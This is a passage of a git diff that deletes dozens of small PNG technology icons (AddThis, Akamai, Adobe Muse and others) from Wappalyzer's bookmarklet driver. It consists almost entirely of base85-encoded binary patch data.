z^gGKqGbAA(k3j&tVGv?nlzI{;k|Fy2uI>3DY2xq-m_SvfK*U*cx_7_~d<+cb`4LNE zr3C@&NskrRMJ@G_?u~Nq%v@qg-JGiZ1x2ESq!GYQkqv6KPK?!ngOD>&!G=564nPq? zJg#kH%r2YpwwM`ZjO;2a+W<(8m^t-pNz9{&ERMYD73p+1(8j*`toZ6P*3u=`k{-)R z7pvAQsg~p7{s$_KWFhCU%!!EeNsm?6qiYVwm~#sQFnNH@z+vR_slZwD%R1cMX!ht-?Mx@cr-;F8cItXlhFL00000NkvXX Hu0mjfIglnB diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AddShoppers.png b/Wappalyzer/drivers/bookmarklet/images/icons/AddShoppers.png deleted file mode 100644 index 746b00279e435d20ab81fbab9d2396019328a7fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1866 zcmV-Q2etT#P)bM zK~z}7y_bD(R96|sfA6__cQ?BU;iDZog@!`PR{{;xL8KH*={W6-Kogt}IIY!+sDqL~ z+d-kQgvdt&Rg!?M)dGWp($_FB(W&qQImQ{Y_g{VFJKgHpBpU)uXtq zm^gDiV`e;JE)-8z6?UBY_I4&NYwl2ID|@!iw#8+29;&}-tgraiKN3aZJg4JJf^Jc@ zj#o9v!--bJCs#f0RgWhAgZ-C=H;+~8{}@#yhRD?bS5-CnvE;Ge$CkA86mi<) ziI%wdr#Ap+lLxAoM}ggY-@LN<_(x%bf{>qo<3sU2c_vq?=fCGYJjU4ewp##VOW(F_ zD@WdDj5A7m_xo9EiJVqd^|ySJ$lV(+iGUQ9)*UcLN;>-rNN0#3lYZjx_IWefmJM@r z7adL~mlpm64d$r=B1o+FZL#@(dG3Ewz!ARhIOYyx#Od&Zd4im9UFX-Ju{JNW7Qk_% zwqxC`(cr`5cZ2u{VIWZNqa9v#$rbpiWPEXR=8_0}VC3bKPkrwtRh8nhwet`?wExN3 z4+2b`xym`R*i_@tm!)3L~^Gf&MxbpF2?G9uoff(xZ;HCVvCzAQneGvsd(|iW!MEf^4#E1 z-G`VgXSn^n6^z_iAstI1hZv#Y+kvRVN&ZCyven@Rkop+=#^HA5d@kklm#HFCgN^ zmmC*>snWj>HDv7Z`J7R ztynqWRj=||o2zkqgsmeZ*Z40}nKx*r^i5~blZ{?1cf<-SYz@7KL!&4jk z0Wf*`A~qG*yOG>{mDZCdQSFH#B;mX})%t%3^%)usPBz?2w8t;7!6&A0TqbAw;q>d{jmC`!O`TK&4|f>I*0?Emy{sG2)QR>i;i@3 z+XKU=*1D>COUMoF5>e8DZ92TYq8MO!Y0cAuOcRkmH*PDR*t%@^LKCExpFe{lIr)== z#)e()gvmk9teqEi4x9@Z!8j%b8mN*9IZ`xqO3n2{zPx6vW1MNmn6weOdCas`mqx;DBHpZWq^_&}_N87VvE3y;-Xt zZB^s02X)VzB%E^t0Fk`z6G#Pcec4)R+*W?GwOTJo#xYK{6QtWxsdV2UuysasU{ifX zi+&A>C;oPS_7Lp43+kV{<-1AX;4|ekY@4Gar>!$h_2p$j#+CsmBphzbiMnMe-(Qc) zJ;O_D8{}7=8N}>8ZxY|zmtD=N?h`n-h`@Gw;@Lyb%o(W4eIoKmUMzZ0p)zEgk;SF8 zvjIe9cUKbPLuve+l23SyEj49Vu z1Hyq5dZSZs3r1-_-Qx5cDv=qFUOEAQBRl5;uaippHmkI>3U;8XItoUWYre8~dVVt5 z@or~nrv*ONYsbG$C=&eFSMkN-_;U|XR9Z)4eR=z#J*^)&q9v*t5+UX}J@V5g7S4J> zA}Z#$@q0D}u>}qGvJn7isxJrNb2s)9FXJ`^*(;$F55W zKy+kTLV6D(zPOps6ho%gW-qKeYF+_oU0Rs*R+bD0NKWp?ui2#{C!8HFj{7^^Fsi_4 zusput;2YjUC2;Em{x9e|rV4;l)g^<@K3G;1UG(^W0>qc!Oeg?`)c^nh07*qoM6N<$ Eg2PFHMgRZ+ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AddThis.png b/Wappalyzer/drivers/bookmarklet/images/icons/AddThis.png deleted file mode 100644 index 39ca0c93acf154dd2160c351c64e84ada693b2a7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 663 zcmV;I0%-k-P)@ZyBIdk6k%&a+ldG8#mw-9+?LR=#e2mzBsNCXoCBoPxL zByl>A!W^*&JO;Kssy7jN$}FJ#n?wi;g98kKEg-Ro+$Us^lfY$ecscG^6XNhxa9t#y zE0#p05gtnLxD+^mSVCw%c_LGITnZcjJ9T>r9=Syp*p9F-g0-+?u5;bq|Kq$3ZI8%60 zffO!h4$l$@89X+)U0Oy%mihWgzO9%rX@MJqSsm6lP=S@zx-VBQ!ohyYq3Kjb;P=mz z(RdYYu1{ohU1x`mZsmz|V<$623X99CX0k^1k=-@09sK9+zfesUPt6+M<9qKK33j;fc1fs>ClcG!7 zTCoOqFmR~^-u0+}wdmJRFdj{z#=`e6^~&UMSBK{&>?gs|1a?1m%i>a_;T$@!;C*4f z9IkV9ficz51ot`IHNsg+7Zh+?f=_|vxq7D-__iFl>xK^;IJ;wk@nW8}(rJ%_dk4;f xH(MUq20X9EYuKTp68O-vEJabo1w;U11Rx~5KnTDL zAV849$iOTmsQ|#2Br*Y49eX{ya#F}Bpc>xL?fP~<1st^^NC84-#!{&yF0qht^LM6V zcGh=C>tZC}xR72?uhi=9$I)jf1OX8-o)?RxvH02C`R{0QYVyU?0gqb;0Nb{wW~NeRs&Za#ayO+*hmBgZK*`7DjN$esR#(P8j%Lys zmrJEfnoCP%jy{c!Ev&AF_2{vc5hR2IRh@K;DuzGsCm#3ve8fajl9VJV6b$~1&j);7 zn~FMX4pamYMD*}s!ECzTm{?kh#bVpr+YXZhytBX87z!^gCt7bbC-cdOr=bc}6$xt4 zU9ME~n5&P3ygp-jW9`e#Gzn}BNAGoZ8X><0=f!f-gI*>^^C+c)a)jolxp6=C==HOlqu1RqornoB8zz4SjwNp5@LQ;GkiY zW$D-HY>TI@wdM|A!h=*&00|T%ph&r;Y}`StQ9a0xC2d5dJJ=gUL!u+3O3b*Q+`%g# z5Rj2ckv3bvs0+8s3NkV?Ffd4FR*49&03hH6L5c_J01zBt1O{Se0AL_y{trykh1#u= R%A^1Q002ovPDHLkV1htKL=yl2 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe ColdFusion.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adobe ColdFusion.png deleted file mode 100644 index b8424fb737be997d02e558261b7246053bbd26e3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 310 zcmV-60m=S}P)G}Wc z_WI}c|LFAk;r0LJ^ZMfP{o(QY-0}R_>-y5->cG<5p0>o7ufB?-vVNMWbB&xOStv(XCr4Q*MpY?9R4PDFTPXfp0001yNklNtq*Ks}@$vvai0o}*=w z`|tI#$My0lisgOpjo06~c9|((_pkFQU)6!aJg#p7Ng_UTjjigi>{RF+kDe>Di4uM6 z=Pf{lV)jq%ahOpZqCy+nGG~4dO^LO&Tv)|W9!~%?TLM6C|3+*^8)tjb3jhEB07*qo IM6N<$f+N}JLJY)K2>oF1|#J9%qP)ZW~bwZ(BqinI5YCLOKGK3rR}tGVz< zPxZb2%B#!f-PpAJ_V&%!P9MK_<-*gOSKd6j|L(=pFYn)d`~L0s?>~PGA0&qYoy1cT zoj(<@1!_#{sk#}Elg)&mFqm>hW+E?oCxwaqYD#s2^QeTzjW z*={`W@tq*qFi+R!X-CI}ySCT2y6qEHh}jnS_#son37!d4CoL8s2;+hp{5$F1%03NLS8SUz*t?38z}ZQscj`ML4F{`Tir(CvylGYTynj?Vp+ sEbo?}tMhAKv1!8#%Vr727dQVg_FVOly*BAQD1;e2UHx3vIVCg!0EX70tpET3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adobe Muse.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adobe Muse.png deleted file mode 100644 index 95f4cc8ce1c9cb01ed22a49e9432ae2f9addcae0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2086 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 Q^8f$<07*qoM6N<$f(504%K!iX diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Advanced Web Stats.png b/Wappalyzer/drivers/bookmarklet/images/icons/Advanced Web Stats.png deleted file mode 100644 index 1a7c85ea85551fa372e6757db2e117d44912734f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 844 zcmV-S1GD^zP)`eBRebywJhiFsVC@5NjDgw4BpcHK^pap!z;8j2bym(Btq9KaV zQVR4Y3I#z=7KmU-QNUJ$5)$)HH@nTu?#_G0ONG*(;2zcKOHXABCMRc~%kU)YRA*0-bPfojh*prq z*J*tFduHq-zy?qOl+));>(E2rnoR67$osZcwt1=v1M^@d#0`% zI`9sF3Sd?S&J7%%IAP`b$QoICiH@fv^cQo8`VdHg;kp>NHjzW)L=R8B{K?$>FtDmJ z_0<#Ak@4xFN&&+#C}uUJ08J{0Ocv^+kj5xGD=_{H?n@t&_tNUot*bxWZ0^6QDEZpk zT3ENYfN2fISz=23Q*W(M;(yk8(^uNzdwEZNND@VOZec+Y z-R8w^doSH@w{iT0)efvWu-=7(0Bm$F{OL1UoTj2Z$X}aFINjT{+D>YBDi;I*Z(aF1 zGdS^nxl*B8E^)Z3({F$(pyk2J?U<>0i&w^c=9k{(?|&C)ZVY?_%%}i3J0JSH*|8?P zkR~C-7Mj!uVuc`1al?eUy^vh!QrmuUdvW9XW!oG56hQF5*FH1J-FHquH2R)y6{VCK zQc466CkY)l%ZCjOF(^eK+w%D|pnkp70E*@sQ6f_j)Ktz8Rm8~| zfIC3&K;h6k1Oh=PPaYfs$TJ>9fPesZ^g6$TLj%EW{?q*K!*8GaKD^(b_viC{K+^k^ z+y9!tY&MxNoToux9)R0p_3;Gne~dPAf*$@_+bb&XUMZ|rHMf`W6NDZM%;VHB&J1FB z909@b1yoxgzoM6(PMvZo*R{Xj)YDUGY|!T1iO}kg$K?vcr>C~DS?FfY@C3R-`Pq!A z*zbv>@aX|JJUM6UvCHdy<5%xaaQ035#xKcbe==YEr9KIZx5sV@NXjdz6jBB!AOnJc zsDZ}fa%UCQ*@=jUJ1YSYuxErmAqDk5`OL!{&(C@ND-JEFYgu=U)R+f<^bzw#l`sULoQ z5&}d_bW|A1>&4cv5QrIBSy_>hk-@>i%21`b*W?wX2FPuHJPMY2t60$8(+!~S$=Es4 z&^a&c$if$rh&ejE?<(0kW&h3iGkJcZBprEu0geC6&wk!7-8~^Dwb*}O}Hpb46@cBCLiV|6} zrl_N%qsUO)(bjgYpzNI$2Z$O4pwIjM)J=UALrT>J5Iy#VPF&*W76sB>r^eask{^sVcekFu zs2w{~4ng^yN_0u z$!e&tw*5**8N1q>TzyWAn(h%CsUc+V1E(cZ-Ii|)LCvMhsV~ozO|ajMjhpL58u}DG zICy10{dQ9_s&>&bHsXu3JYSi&0}jl|<3vqWS+XvbTnnZ(TMv!?c(W$;1|ctS_L11S zhpSUt{;rex1mGhbdMHI!_*xZIhJ+DRe8w$iK!5>6q-7;VB_+kcv5E0vn&jX~N!ZP= zeX?qqM4S0D)+Izu6n4m8sCo-r!eUY&ajE@Y!nl7wbF|5_J`& zx9vB0FLd*VNtcpF4d}_t{EGw<&FI-bzck~A#Eg7!9zDsxb4iJN!tUF{h-E5;y{*r4 z+~_5lwDx&hw}_~Ce!}G8cf26yItmDUZ@}?)?KUvVl2_;c_z3z#3i=N>^?6~M6noEM z)8zRsV{Ki~guP|w4%YY?E^p44;xIH}`dW$2I>`sF7;+8eHT~#=6Z8*rO2>aHlT2R6 zCP9iY!73a=W=QhB1=_~Z^JGjimzWiOXacJa3dNR(#uDQcXAEbc&(K2I{y)`M@7-$? z(4vaN6NuTO9yP{>2u%jp1J{6~{0PQ5;5v%YUFU@mkC$0Ic2D}~vux;9){SR=G)>x5NT*9fE2Xf!r8H8F>)l=>4#5P%4-X!!I%3;_r2 z$p{1o&kJt=Ysdh3AW_DL8$C2eX#_M>ik|)RJ8b(Gq58@wV+2a200000NkvXXu0mjf DR#>yU diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Adzerk.png b/Wappalyzer/drivers/bookmarklet/images/icons/Adzerk.png deleted file mode 100644 index f16159bc024a8e24813c3cfb7d669e092872bf79..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1050 zcmV+#1m*jQP)?Q^EBmnIw1@9>a?iI~V#n4f;9=|2PQzIt%_{{8&_ z|Ns8}{{R2~|Nr_CUpN2&0$WK$K~xwS1%N?ooMjY+pL6f~&1BLB(X1vH?5RGLI5)?{YBx%Y@Z3B@4DPz0$+6iS3hU~~t&h*8KLgb5l* zff0Fu9Yz(h0D&ckTVN@lN|t4{90q7W76G#J0%Xa?VaY;(Kz1PV#FW4yIsyU09oVwa zfJ(Zflep^zOe_y!AEAy)4?254Kt26)`KW<-`0da%qJdEWyBLb~^W&w1j_LGzMK)Yl5s@^KG`>FMV3f{~e-y;#0p7=X}lZI_kJW_3;lO;GVp z?nOsH7z zbC7*?MH2Jk`CIJnuE6c~o694_9P5`quVZHT@ds;n*S@20yY&9DN5|&X!FaV9Eia$V zRc?2<%Dw*lXr8E8|Cr;Kbr;io`0*`O?y#vodltz&-G6n`efG^}n#nkRvTMp=8}_D9 zy}ogE+}>CKRPSBU?ylS4TeI%IJlR&wr!Ur;tFQmmzPmF4rk_51g)?u=>)zxE zO!rXSdabMO!^EkK3BCUuG@9phDKA;^aelO?$3n--Ed>n^?E(Vt9$&t=ypqRg$2aS? zAHRy8BrwQ3`EahE#wz!*-$Ksj!OAH@6$@-ne?0kBljlUCN}IL0R%)Yr(Vlk>fB7an zWMf$SecrB?(4NLa{MP)xbldKW+_7LvXj`kJ;k#eYxp>_iW1rji1SkB`sB$n~_xb!A z2g9f9PHy;qd7g|-L#F)iHwK#+PHfOSZD!53BlYl=($CXm+GY#?oZTmL)NBdkgSLZ= z$@WhojoULm8RxJ5bL9DKMg8wweLJIFu2>}Rte-Q*Dg2n+N^RHDwgqdoT-SU56<_Hf URv~3m-wlc{Pgg&ebxsLQ0CxM~KmY&$ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Akamai.png b/Wappalyzer/drivers/bookmarklet/images/icons/Akamai.png deleted file mode 100644 index fa2be98a260136f740bf10334df344097c7c504f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 845 zcmV-T1G4;yP)080y2$g)VptZfpru#KKtM9L@;DpIDlWeJg%lu$(tktjh; zLZjBS3Oo!39==E4tJAN0_ny6X->pyY-E)4w-#PdE&hMOiE$ct7$#pHsU?f-xYQYuo z1hj)za2qs$B9H>&tY}!|>%ms@Oy0sTW6?+02q;XN3tbWIM%PJ&V}LB@i?AdSDn!8~vj1UcuiB(t0G1aN@^zkxi; zdxDFU{{YRPKshXiM}tXV6b+~9kmG-EPy;@I)3TD#70p5b~;3f4(q(*dMbOhKBE|WuGj)a^EED@ZoC!{mEYzKC; z*o@&|KR7^LZ5TCVAdjSM%Pl6P%smViGItvPodOE=KCPxakN17J$nkDg)La%IS*si@ zVD6;Z1L_P1iYYJSUdtK(DEk>fKauU+3p#l(+mc}`?-~x2P`(M&gQ?(r6q=eGy=Q!& zERbj`%%ifF@-1K=J6=VUI_oqk(WWqHIIxHEawd)>X^!R9CHrDHU?0PLaE@aJcU5f&>P@MKmkuQIHQH$_R#>sPu3 z2VI=_BA;WiibSQ06G6VwCda}Fc?rGd&@Jt613w#8yw{FQ=l8-1@Q`0ao$T$~BaOx% X;LaF69cdTc00000NkvXXu0mjfitK}- diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Algolia Realtime Search.png b/Wappalyzer/drivers/bookmarklet/images/icons/Algolia Realtime Search.png deleted file mode 100644 index bf335669af8445c59db3eee6037ab477659973aa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1261 zcmVrY!{9LN19eBmpvh;EF{4K_9266a)zM%|0KWJYI*JmeN8C1xkTlC{UpHp8Dx|HcU?1QgBaBn$zd<`~EK9-}gK>B(fOc zn0(;E#I`!~%XR&nix4LeE`2PTPJ?;jb`_kxqzdLC4hD@&D z#S#C}Ue8-?BSu#+TY&37Q~=(^XrsZ~W|^4_snZ&l6GOgm=g=G*j`ez)jniFr|LAOJ z1pv0`a8bSG)`R*Rzv`{H;#yjsnvYcf<=*+jU}1&vt`a?Y7tfj!{gx`@?q+L4kH;5? zE(0JZ60iI;oKr027E2#@I2I#uCS!8q`)>C`HKv?mU0#{ANh$BfYY*=foU(Ij>yiE@ zqc;-(1|i%n2lelq8O1ikvlxB($Kg9PkkU|CX@Htw6Tt=rhDqMVUsm(WlQ5i}569D{ z=%WtDwtBPJL0X>C4v>dJ#m!vB$9x30b7II( z{ZazZFO-p&U{rpt#fEi~o?n(cT=wVGbeb$r%t!WjO{`0HpMm|v@n+jdT+T?-Z!S)f z8FsHLlOC)!U2!a=H0|_%F1(c#N3 z&Wc27{+LYNXpj;YNDfMgXXyrl!M3H^zI18`X7g-sFcU|9xnX;QB@mU>0OxFTFmF?3 zk~U4o>5Ss)!C44OmUy|Zy3gneECm57F7`|;ssV~GO|gt$n=6d=nMekJ*IMnkf*;iB z!0!{#TFmPv1GojYJm67j&Y0_pEzm>Mbjq88;DXQdi(uzWAucWTuL&XLH57~ zSPk$-n;nHAx}A+yIlcR5t+UU!*m_cZ1{NYRiXhtlv-9I>fVY1h0f4^Wp&iUnVfR8> zY4eBTTkHBo1YdMI)d2fCov@STM`}&JKrFHHVV?<8zl}-_DzCWI09w6Qa9~ZDba`xk z6#xhnE@FXNwp(Y_0I-`1gU|9O9gbB1>^*I#`{3@q)k-s~0Lc5UCM)z{2MsA0lKto& zU&z1ep8=%QQgPDc%Td}LN6>(1JX`DN{0{8^&J`#C7wrDj04Ue9jaICKK{h{VcM#UH z1CiL+u!Bv8lDR-$K`(k X79uQ>ZLStF00000NkvXXu0mjfPhoVc diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Allegro RomPager.png b/Wappalyzer/drivers/bookmarklet/images/icons/Allegro RomPager.png deleted file mode 100644 index 2815e76bd4107a809cdf572d01a8bb81badc151f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 205 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!Q-Dv1D}&}74oe_fDqy)(Gia-2 z)K<&ntzOxCy^8k+W$%ru2BKrxE$6DIoSU-r-qNl2*6w|N?A-fv*WTZI{{8v;|3ILb zEs+Q`&CS!rF+@Ug>w$}W4GJ8r7qnFZQl}mJ|354GHDmm3s~Z~ z&xju~3=Rb|Lg$C~aL(%f&p1hYZh9s2)XaIi=ggi}Ip4R#a7Hyl4r|xRzOzlj-IxC} zwmA0AZLseKG7e$r=6%;y_&n<~9oA{qG&$N7JS#@C{ z(2AI?DYc2=v4`UyN6w618+Sc=ef-PF?%1O#iLtS9jX(tfrh&`>tfAI9#fAMPozWBh zJN>KuSNqrcy88zE`NDnC#@uGz=HBKQZ|iIAYwF|dYwGLlYw4ptXhIS{1OUqW^^|%h RBw_#n002ovPDHLkV1mzMfzki~ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/AlloyUI.png b/Wappalyzer/drivers/bookmarklet/images/icons/AlloyUI.png deleted file mode 100644 index 227cdc40abb0f23be2e0e6921b092abd3084c225..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 607 zcmV-l0-*hgP)pg3s4nLf8&-wY?dw!S9jPM^3H77$0-%0{nGa`4;K*C{c z?$WW@dfsRpng5yxrxRx8po)V~BY*4K{MU|s1Xb3FVCZB6{ssXZsVGg>=g7?H>eEk0 zx6H3bWQ*pLp=QZy3KRaN005i=fY46b{p3n%EdqcanNC@pE3$BbApi^{0ux3IU5x_om0Wvc>b^q1FTAUx*=O5)a5pxAmw8<_Su9rmx3D*|ij-Kg{03Z*UD5upy z%e56-8QjUtXon4--QF6V86;G>!(+T*q!*(->xuGo$O3{$1D0hV4bNDuyI!kgDH7#- zOQUDkTAbJho%U()`~<-rXA8vm*M|TA002ovPDHLkV1ipl8|nZ6 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Amaya.png b/Wappalyzer/drivers/bookmarklet/images/icons/Amaya.png deleted file mode 100644 index f8f1f9b13636cdcead108b6f6b63b14d6a13b48d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 454 zcmV;%0XhDOP)v#K3hkH8zqEEyki7qu4a?z!VxRvBoZL#(`rqPadhT8pkwKdn%!+QaA+W>fB#K< zA*{s;pf|H?9!cgVoUe=(#}tV^g?!!p-v?Mapqs1*dEDmf4+8OlZihzb#$qRV+(Z(u zp8_1P>yc+{!1Ht~c0~Cxi<@U*!Ij-fe%mrB?HW@0bQI8Zktl_tCy~Kp!}wGSj;+0@ w0v9(^86Bg1yiI__BmZl_4WBiP`hR@77qIuB_a-#I@&Et;07*qoM6N<$f|F>?`v3p{ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ametys.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ametys.png deleted file mode 100644 index de1c3d7bfb5a33cf0a46ef35bb936a3d4f05d1cb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 567 zcmV-70?7S|P)eVvBW^vv;!4eLRbRh@yj=wS=g{gvjHCsl$(pqLi@5l*r(ln5~_Yt)sosq`Jxpue@R!L_)@w(0r2)8f9{>BQ9F#l6nO#LmUx z?#9g6%E{Br%GAxw*3ZY*&(PS>*WlCC+|}0I*3{hB)!o?F-`U#Y+1=&Z*x=gP;N9He z;Na!r;pXD^{^jQD=H=?=?egg8>g?|F@A38V^7Zoa_4D%e^z`)l`uh9(`~3X;{r&y^ z{{H230viAT00DGTPE!Ct=GbNc005^+L_t&-83n+DT0>C)0N_8{*0OCZ^Ddi<=hW)` zU!V^F$iAEbz}Ls~_7eA3KOnpxE>Cm?=3h^9_}rNpZm+t<d(aZa0jqZ*&D)Tj0r&LIzsaHm<0f?Gsge`fPVu@8{SVmNTvV)002ovPDHLk FV1mP%G=~5H diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Amiro.CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Amiro.CMS.png deleted file mode 100644 index 3ea826348b0241a0c38498bb4836bba5f231bee5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 347 zcmV-h0i^zkP)g|nfkiM2@)?xbtgNyaB^eCLVDJTGu}E1-VijUg%A{=a0e?52!9#pFu!0l!_WiTL} zCY6#QnsmFY*8~FZfI@-OiCj+U8H=&qN@ITkG3N1@;n3W_au;H2^EqCx3W%o7rWEr! tw|JaZi%3KTtk%~Z{f77w1>at)8b1vYM-*b9nfCwy002ovPDHLkV1nCpmtFt> diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Anchor CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Anchor CMS.png deleted file mode 100644 index 121c2f2a284a427ec693fcd196595f2b6cb5b1e7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 342 zcmV-c0jd6pP)kdg0003UNklu@<_pACVmqI`?e(-i+S^$y*!#PsQnF(P#*s<}fUQzgw0qMEjM? z&}>a{5RfB3&cNl5T}7X?9nP_2qb*`Wh4>-B=jBcfeSpt)-QUewdA?u^QD zHaZ+VKXswAvy-PQL+OUK?g{*ZjACvG%5#ni0v8+v=n{4H?lg~#H-`D6?QjPA`}-vV zB1Q~_3gpl7@rZ;XED-wR$3&1?NMOob|8xme%DL(g*% zuv)DX1cAE6bB9g6uBr-~`|sVwmCT)}44i_3Kwp#}&XPzNH5w>CUgDkrwL#5{;o2J{ z;O!uwR4T`kKyU4e7}o?SJm=z~(cjyP0R~@BM?0G421*1Zw^E92UNA7%54t5#5abW- zj%{M?RUZ0vc@~Tzf!33st#+GwH`GNo_xJRmT~&a3K9>lHjc5Bw?w7ovE=BR;DAxq$ z1fc9-rdW50cwQcaV_0oWHQQ3$2u~RLZr`@K|Lz@J+PoGmF;O_hD=Ul)M$x=bsMjUh zf{|*f+qcJ!2F!v!_n4@fr=02m34BqVx!d{lp?+vPk|i0JL+C&UrFc-|hrn2(LSa<6 